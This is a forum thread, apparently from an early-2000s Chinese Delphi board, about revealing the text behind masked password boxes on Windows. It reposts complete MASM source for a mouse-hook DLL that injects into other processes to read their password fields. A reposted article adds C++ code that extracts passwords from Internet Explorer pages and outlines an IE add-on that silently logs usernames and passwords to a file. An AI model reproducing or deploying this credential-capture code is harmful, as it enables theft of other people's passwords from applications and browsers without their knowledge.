显示密码编辑框中的密码(0分)

  • 主题发起人 主题发起人 nutian
  • 开始时间 开始时间
N

nutian

Unregistered / Unconfirmed
GUEST, unregistred user!
获得Windows下的密码框密码,似乎是很多人感兴趣的话题,CSDN上问这类问题的人不<br>计其数……这样看来,老罗也不能免俗啦,今天就让我跟大家探讨一下如何实现这一功<br>能吧。^_^<br>我们知道,Windows下有一条功能很强劲的函数——SendMessage(),利用它能够实现很<br>多意想不到的功能,例如获得密码框的密码就是其中一例。我们可以这样做:<br><br>char szPsw[255];<br>SendMessage(hWnd, WM_GETTEXT, 255, (LPARAM)(LPCTSTR)szPsw); <br><br>通过发送消息 WM_GETTEXT 给目标窗口句柄,我们就能够获得密码框的密码了,<br>可是它还有一点不足,就是无法在 Win2000/WinXP 里面获得密码。这是因为 Win2000 <br>对这个方法作了防范(当然啦,老比因为这个问题已经业界被骂死了),只要你是对其<br>他进程进行这个操作,就会失效。<br>呵呵,这也就是为什么很多同类的软件到了 Win2000 就死翘翘的原因。 :)<br><br>那么是否就毫无办法了呢?当然不是!我们已经知道了失败的原因,就是不能在别的进程中<br>使用这一函数……嗯?……聪明的你是不是已经想到了什么?<br><br>对了,只要我们能够在同一个进程中使用它,就可以实现了!如何做到“同一个进程”?呵<br>呵,这又是一个问题。《Windows核心编程》的大牛 Jeffrey Richter 告诉我们,实现“同<br>一进程”的办法有很多种,例如有通过注册表来插入DLL、使用远程线程插入DLL、使用特洛伊<br>DLL来插入DLL、通过内存映射文件插入DLL……方法真的是有很多种,它们都能实现“同一个进程”<br>这一目的,不过老罗觉得都不太理想,例如,使用远程线程是通过 CreateRemoteThread() 来插入DLL,<br>但是这个 CreateRemoteThread() 在MSDN中是明确指出了不能在 Win9X 中使用的,也就是说,通用性要大打折扣。<br>所以最后我决定使用鼠标钩子函数来实现!<br><br>聪明的读者可能还会问道:为什么用鼠标钩子就能实现了?其实答案很简单,因为密码框是一个 EDIT 控件,<br>它肯定能够接收到鼠标消息,这样,我们的鼠标钩子函数就能够注入到远程的目标进程,这时的 SendMessage() <br>就是跟目标进程在同一个进程里面,是可以取出密码的。而且它有个非常好的地方:就是通用性强,理论上任何一<br>个版本的 Windows 都能使用!!(我没有 WinXP ,所以只好说“理论上”啦,请有装 XP 的朋友帮忙试试,OK?)<br><br>明白了吧?最后还有一个细节问题——密码是在鼠标钩子函数里面获得的,那么如何返回给我们的主程序?老罗的做<br>法是把密码作为全局共享变量,这样就可以在两个进程里面共享,我们的主程序就可以输出结果啦!<br><br>说了一大通废话,希望大家不要介意。下面我给出一个完整的例子,通过鼠标钩子函数注入远程进程获得任何一个版本<br>&nbsp;Windows 的密码框密码。(呵呵,好拗口啊!啊!别扔番茄!!)<br><br><br>---------- 鼠标钩子函数的DLL ----------<br>文件名: HookDll.asm<br>--------------------------------------<br><br>;******************************************************<br>;程序名称:获取密码框的密码,适用于Win9x/WinMe/Win2000/WinXP<br>;作者:罗聪<br>;日期:2002-10-8<br>;出处:http://www.luocong.com(老罗的缤纷天地)<br>;注意事项:如欲转载,请保持本程序的完整,并注明:<br>;转载自“老罗的缤纷天地”(http://www.luocong.com)<br>;******************************************************<br><br>.386<br>.model flat, stdcall<br>option casemap:none<br><br>include /masm32/include/windows.inc<br>include /masm32/include/user32.inc<br>includelib /masm32/lib/user32.lib<br><br>DllEntry &nbsp; &nbsp; &nbsp; &nbsp;proto :HINSTANCE, :DWORD, :DWORD<br>MouseProc &nbsp; &nbsp; &nbsp; proto :DWORD, :DWORD, :DWORD<br>GetPsw &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;proto<br>InstallHook &nbsp; &nbsp; proto :DWORD<br>UninstallHook &nbsp; proto<br><br>.const<br>WM_MOUSEHOOK &nbsp; &nbsp;equ &nbsp; &nbsp;WM_USER + 6<br><br>;共享段:<br>.data?<br>hHook &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dd &nbsp; &nbsp;?<br>hWnd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dd &nbsp; &nbsp;?<br>szPsw &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db &nbsp; &nbsp;255 dup(?) &nbsp; &nbsp; &nbsp; &nbsp;;关键语句!!!共享这个变量szPsw,以便在主程序中也能得到密码!<br><br>.data<br>hInstance &nbsp; &nbsp; &nbsp; &nbsp;HINSTANCE &nbsp; &nbsp;0<br><br>.code<br>DllEntry &nbsp; &nbsp;proc &nbsp; &nbsp;hInst:HINSTANCE, reason:DWORD, reserved1:DWORD<br>&nbsp; &nbsp;.if reason == DLL_PROCESS_ATTACH<br>&nbsp; &nbsp; &nbsp; &nbsp;push hInst<br>&nbsp; &nbsp; &nbsp; &nbsp;pop hInstance<br>&nbsp; &nbsp;.endif<br>&nbsp; &nbsp;mov eax, TRUE<br>&nbsp; &nbsp;ret<br>DllEntry &nbsp; &nbsp;endp<br><br>GetPsw &nbsp; &nbsp; &nbsp; &nbsp;proc<br>&nbsp; &nbsp;;关键!!返回密码!(前提是密码必须放在共享段!)<br>&nbsp; &nbsp;lea eax, szPsw<br>&nbsp; &nbsp;ret<br>GetPsw &nbsp; &nbsp; &nbsp; &nbsp;endp<br><br>MouseProc &nbsp; &nbsp;proc &nbsp; &nbsp;uses edx &nbsp; &nbsp;nCode:DWORD, wParam:DWORD, lParam:DWORD<br>&nbsp; &nbsp;invoke CallNextHookEx, hHook, nCode, wParam, lParam<br>&nbsp; &nbsp;mov edx, lParam<br>&nbsp; &nbsp;assume edx: PTR MOUSEHOOKSTRUCT<br>&nbsp; &nbsp; &nbsp; &nbsp;;获得当前鼠标位置的窗口句柄:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke WindowFromPoint, [edx].pt.x, [edx].pt.y<br>&nbsp; &nbsp; &nbsp; &nbsp;;发送一个消息给当前窗口,获得它的标题:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke SendMessage, eax, WM_GETTEXT, 255, addr szPsw<br>&nbsp; &nbsp; &nbsp; &nbsp;;发送一个消息给主程序,以便在主程序中能处理鼠标钩子函数:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke PostMessage, hWnd, WM_MOUSEHOOK, 0, 0<br>&nbsp; &nbsp;assume edx: nothing<br>&nbsp; &nbsp;xor eax, eax<br>&nbsp; &nbsp;ret<br>MouseProc &nbsp; &nbsp;endp<br><br>InstallHook &nbsp; &nbsp;proc &nbsp; &nbsp;hwnd:DWORD<br>&nbsp; &nbsp;;启动鼠标钩子函数:<br>&nbsp; &nbsp;push hwnd<br>&nbsp; &nbsp;pop hWnd<br>&nbsp; &nbsp;invoke SetWindowsHookEx, WH_MOUSE, addr MouseProc, hInstance, NULL<br>&nbsp; &nbsp;mov hHook, eax<br>&nbsp; &nbsp;ret<br>InstallHook &nbsp; &nbsp;endp<br><br>UninstallHook &nbsp; &nbsp;proc<br>&nbsp; &nbsp;;卸载鼠标钩子函数:<br>&nbsp; &nbsp;invoke UnhookWindowsHookEx, hHook<br>&nbsp; &nbsp;ret<br>UninstallHook &nbsp; &nbsp;endp<br><br>end DllEntry<br>;******************** &nbsp; &nbsp;over &nbsp; &nbsp;********************<br>;by LC <br><br><br>编译这个DLL的时候记住要这样:(否则会失败哦!)<br>ml /c /coff HookDll.asm<br>link /section:.bss,S /DLL /subsystem:windows /def:HookDll.def HookDll.obj <br><br><br>---------- 主程序调用 ----------<br>文件名: GetPsw.asm<br>-------------------------------<br><br>;******************************************************<br>;程序名称:获取密码框的密码,适用于Win9x/WinMe/Win2000/WinXP<br>;作者:罗聪<br>;日期:2002-10-8<br>;出处:http://www.luocong.com(老罗的缤纷天地)<br>;注意事项:如欲转载,请保持本程序的完整,并注明:<br>;转载自“老罗的缤纷天地”(http://www.luocong.com)<br>;******************************************************<br><br>.386<br>.model flat, stdcall<br>option casemap:none<br><br>include /masm32/include/windows.inc<br>include /masm32/include/kernel32.inc<br>include /masm32/include/user32.inc<br>include HookDll.inc<br>includelib /masm32/lib/kernel32.lib<br>includelib /masm32/lib/user32.lib<br>includelib HookDll.lib<br><br>WndProc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;proto :DWORD, :DWORD, :DWORD, :DWORD<br><br>.const<br>IDC_EDIT_OUTPUT &nbsp; &nbsp; &nbsp;equ &nbsp; &nbsp;3000<br>WM_MOUSEHOOK &nbsp; &nbsp; &nbsp; &nbsp; equ &nbsp; &nbsp;WM_USER + 6<br><br>.data<br>szDlgName &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;"lc_dialog", 0<br>szPsw &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;255 dup(0)<br><br>.code<br>main:<br>&nbsp; &nbsp;invoke GetModuleHandle, NULL<br>&nbsp; &nbsp;invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0<br>&nbsp; &nbsp;invoke ExitProcess, eax<br><br>WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM<br>&nbsp; &nbsp;LOCAL rect: RECT<br><br>&nbsp; &nbsp;.if uMsg == WM_CLOSE<br>&nbsp; &nbsp; &nbsp; &nbsp;;卸载鼠标钩子:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke UninstallHook<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke EndDialog, hWnd, 0<br><br>&nbsp; &nbsp;.elseif uMsg == WM_INITDIALOG<br>&nbsp; &nbsp; &nbsp; &nbsp;;获得主程序的rect:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke GetWindowRect, hWnd, addr rect<br>&nbsp; &nbsp; &nbsp; &nbsp;;把主程序设置成“始终在最前面”:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke SetWindowPos, hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW<br>&nbsp; &nbsp; &nbsp; &nbsp;;鼠标钩子函数启动:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke InstallHook, hWnd<br><br>&nbsp; &nbsp;;处理鼠标钩子函数的消息:<br>&nbsp; &nbsp;.elseif uMsg == WM_MOUSEHOOK<br>&nbsp; &nbsp; &nbsp; &nbsp;;获得密码:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke GetPsw<br>&nbsp; &nbsp; &nbsp; &nbsp;;输出:<br>&nbsp; &nbsp; &nbsp; &nbsp;invoke SetDlgItemText, hWnd, IDC_EDIT_OUTPUT, eax<br>&nbsp; &nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp;.else<br>&nbsp; &nbsp; &nbsp; &nbsp;mov eax, FALSE<br>&nbsp; &nbsp; &nbsp; &nbsp;ret<br>&nbsp; &nbsp;.endif<br>&nbsp; &nbsp;mov eax, TRUE<br>&nbsp; &nbsp;ret<br>WndProc endp<br><br>end main<br>;******************** &nbsp; &nbsp;over &nbsp; &nbsp;********************<br>;by LC <br><br><br>---------- 主程序的资源文件 ----------<br>文件名: GetPsw.rc<br>-------------------------------------<br><br>#include "resource.h"<br><br>#define IDC_EDIT_OUTPUT &nbsp; &nbsp; &nbsp; &nbsp;3000<br>#define IDC_STATIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -1<br><br>LC_DIALOG DIALOGEX 0, 0, 195, 30<br>STYLE DS_SETFONT | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU<br>CAPTION "Get Password by LC, 2002-10-8"<br>FONT 9, "宋体", 0, 0, 0x0<br>BEGIN<br>&nbsp; &nbsp;LTEXT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "看看有什么:", IDC_STATIC, 5, 12, 50, 12<br>&nbsp; &nbsp;EDITTEXT &nbsp; &nbsp; &nbsp; &nbsp;IDC_EDIT_OUTPUT, 60, 10, 130, 12, ES_AUTOHSCROLL | NOT WS_BORDER, WS_EX_STATICEDGE<br>END <br><br><br>怎么样?看明白了吗?如果你还不太懂得鼠标钩子函数的编写,请先参考 Iczelion 的教程,到处都有哦!<br>假如还有什么疑问,那是我的水平问题,没跟大家解释得足够清楚,到时还请来信与我探讨!lcother@163.net &nbsp;<br>&nbsp;<br><br>老罗于<br>2002-10-8<br><br><br>老罗的缤纷天地<br>http://www.luocong.com<br><br>============================================================<br>显示密码编辑框中的密码<br><br>作者: nbwzw<br><br>  我们在使用Windows时,经常会碰到一些密码编辑框,输入其中的文字都以“*”显示。<br>现在,有许多共享软件和自由软件都可以实现隐藏密码的正确显示。究竟这是怎样实现的呢!其实,<br>这比较简单,虽然这些信息都以“*”显示,但其内部还是以当初的字符表示,所以,我们只要用Windows API函数就可以实现。<br>&nbsp;    在Windows中,每一个窗口、控件都有它的名字(叫做Name或Window Text)。对于Form、Dialog Box、Message Box来说,<br>名字就显示在Title Bar中;对于Edit、Button、Static Control,名字显示在他所占的区域中。密码编辑框本身就是个Edit控件,<br>虽然显示的是特殊字符,但名字属性没有变,还是输入时的字符。Windows提供了两个API函数来获得这个名字: <br><br>int GetWindowTextLength(HWND hWnd); // 得到名字的长度    <br>其中:<br>  hWnd :想要得到的那个窗口或控件的句柄 handle <br><br>int GetWindowText(HWND hWnd, LPTSTR lpString, int nMaxCount );// 得到名字<br>其中: <br> hWnd :想要得到的那个窗口或控件的句柄 handle; <br> lpString :存放名字的字符串的地址<br> nMaxCount :可拷贝的最大字符数   <br><br>下面以Delphi为例,说明它的实现过程。   <br>新建一Form,放置Label、Edit、Button各一个到Form中,将Edit1的PasswordChar属性<br>改为“*”,双击Button1,输入以下代码:<br><br>procedure TForm1.Button1Click(Sender: TObject);   <br>var<br> Name:PChar; // 名字 <br> L:integer; // 名字的长度   <br>begin<br> L:=GetWindowTextLength(Edit1.handle)+1; //得到名字长度,并将长度加1 <br> GetMem(Name,L);//为将要得到的名字分配内存  <br> GetWindowText(Edit1.handle,Name,L);//得到名字   <br> label1.Caption:=String(Name); // 将得到的名字显示于 Label1  <br> FreeMem(Name,0); // 释放分配的内存   <br>end;   <br><br>经过运行,在Edit1中输入的密码就可通过Label1显示出来 <br><br>&nbsp;
 
&nbsp; &nbsp;辛苦拉!把这么好好的东东与大家分享:)
 
難道非要搞的這么復雜嗎?我感覺以上代碼應該簡化!<br>下面以Delphi为例,说明它的实现过程。   <br>新建一Form,放置Label1、Edit1、Button1各一个到Form中,将Edit1的PasswordChar属性<br>改为“*”,双击Button1,输入以下代码:<br>procedure TForm1.Button1Click(Sender: TObject);     <br>begin<br>label1.Caption:=Edit1.Text<br>end;   <br>经过运行,在Edit1中输入的密码就可通过Label1显示出来!
 
应该很好防护这样的事,我做了个演示程序,各位用密码显示软件查查看吧!看看能不能<br>抓到真正的密码!我想如果不使用键盘监视,就很难取到真正的密码。<br><br>按回车键或者点击Button显示你所输入的密码!<br><br>http://218.4.162.17/other/tstpwd.exe<br><br>只是能力有限还没有解决粘贴上去的密码,请各位提点意见!<br>
 
TO henryzhao:<br><br>你还不明白帖主的意思吗?他要的不是一个程序中的,这程序是别人开发的,你只有可执行<br>文件,你可以这么得出密码吗??<br><br>
 
真是太棒了<br>很不错啊<br>太崇拜你们了?<br>
 
把这篇也转过来,写得更有情趣哦,“钩子”真是让人爱恨交加啊,它就象女人一样奇妙!<br>转贴:让网页密码编辑框中的“星星”现身(附EXE)<br>(http://www.ccw.com.cn/htm/app/aprog/01_12_20_2.asp)<br><br>通常情况下,在密码编辑框中输入的字符都用**(这里呼之为“星星”)来代替,以达到保<br>护密码的目的。但看“星星”的工具并不比“星星”的个数少,由于其原理比较简单,初学<br>者很容易制作一个。然而,有时天公不作美,它会给晴朗的星空抹上一道乌云,这时你就无<br>法寻觅那颗明亮的星。网页中的“星星”就是一颗被掩盖的星。 <br>透过密码编辑框看“星星”,主要是通过向密码编辑框发送WM_GETTEXT,获得密码编辑框的<br>窗口文本,这种方法在Windows 9x/NT4/ME环境下屡试不爽,星星既属于你,又属于我,大<br>家都可以看到。到了Windows 2K/XP环境,这招有些失灵,星星变聪明了,它只属于它中意<br>的人,别的进程别想打它的主意。对于没有权限获得密码的进程,它会简单地返回一个<br>ERROR_ACCESS_DENIED,来打发那些动机不纯或者别有用心的人们。但是还是有高手能够通<br>过钩子函数,来笼络星星的心,钩子函数能够实现把一个动态连接库注入到另外一个进程,<br>获取窗口文本,再返回给另外一个进程,面对这个吃里扒外的东西,不明真相的星星姑娘,<br>居然听之任之,全抛一片心。 <br>网页中的星星是一颗特别的星,铁石心肠,然而它却是豆腐作的。你很难获得它的窗口句<br>柄,通过Visual Studio提供的SPY++也很难获得它的窗口句柄和它收到的窗口消息。获<br>得网页中的密码必须通过必须通过HTML中的MSHTML文档对象模型。你首先必须通过各种方<br>法获得Internet Explorer浏览器(Mr Navigate,Sorry)窗口句柄,判断它的类名是否<br>是"Internet Explorer_Server",然后通过下述代码获得其文档对象模型指针,即<br>IHTMLDocument2接口。 <br><br>HWND hw; &nbsp;<br>MSHTML::IHTMLDocument2Ptr doc; <br>MSHTML::IHTMLElementCollectionPtr col; <br>MSHTML::IHTMLElementPtr EL; <br>DWORD lRes; <br>HRESULT hres; <br>&nbsp;<br>UINT MSG = RegisterWindowMessage("WM_HTML_GETOBJECT"); <br>&nbsp;<br>SendMessageTimeout(hw, MSG, 0, 0, SMTO_ABORTIFHUNG, 1000, &amp;lRes); <br>&nbsp;<br>hres=ObjectFromLresult(lRes, __uuidof(MSHTML::IHTMLDocument2), 0, (void**)&amp;doc); <br>&nbsp;<br>然后你必须获得鼠标屏幕坐标,把它转换成相对于客户区的坐标,然后根据坐标位置获得网<br>页对对应的元素,查询IID_IHTMLInputTextElement接口指针,判断元素类型是否是一个密<br>码编辑框,并获得对应密码。 <br>&nbsp;<br>CString GetPassword(IHTMLDocument2 *pDoc2,POINT pt) <br>{ <br>if(pDoc2==NULL)return ""; <br>CComPtr&lt;IHTMLElement&gt; pElement; <br>HRESULT hr=pDoc2-&gt;elementFromPoint(pt.x,pt.y,&amp;pElement); <br>if(SUCCEEDED(hr)){ <br>CComPtr&lt;IHTMLInputTextElement&gt; pPwdElement; <br>hr=pElement-&gt;QueryInterface(IID_IHTMLInputTextElement, <br>(void**)&amp;pPwdElement); <br>if(SUCCEEDED(hr)){ <br>CComBSTR type; <br>hr=pPwdElement-&gt;get_type(&amp;type); <br>if(SUCCEEDED(hr)){ <br>if(type==_T("password")){ <br>CComBSTR pwd; <br>hr=pPwdElement-&gt;get_value(&amp;pwd); <br>if(SUCCEEDED(hr)){ <br>if(pwd.Length()!=0){ <br>CComBSTR msg; <br>msg=pwd; <br>CString str(msg); <br>return str; <br>} <br>else{ <br>return ""; <br>} <br>} <br>} <br>} <br>} <br>} <br>pDoc2-&gt;Release(); <br>return ""; <br>} <br>如果你想尝试一下如何在后台记录网页密码,你可以实现一个IE扩展的COM组件,由IE负责<br>自动加载,在组件中你必须实现IOleObjectSite接口,在SetSite方法中得到一个指向IE <br>COM对象的Iunknown的指针,再通过它获得其它接口的指针。在程序中还需要创建一个线<br>程负责对当前的网页所有元素实现轮询解析,判断元素的属性是否是一个编辑框(密码编<br>辑框),然后把用户名和密码记录到一个文件中。 <br>本程序在Windows XP(IE6)环境下利用Visual Studio.net Beta 2调试通过
 
后退
顶部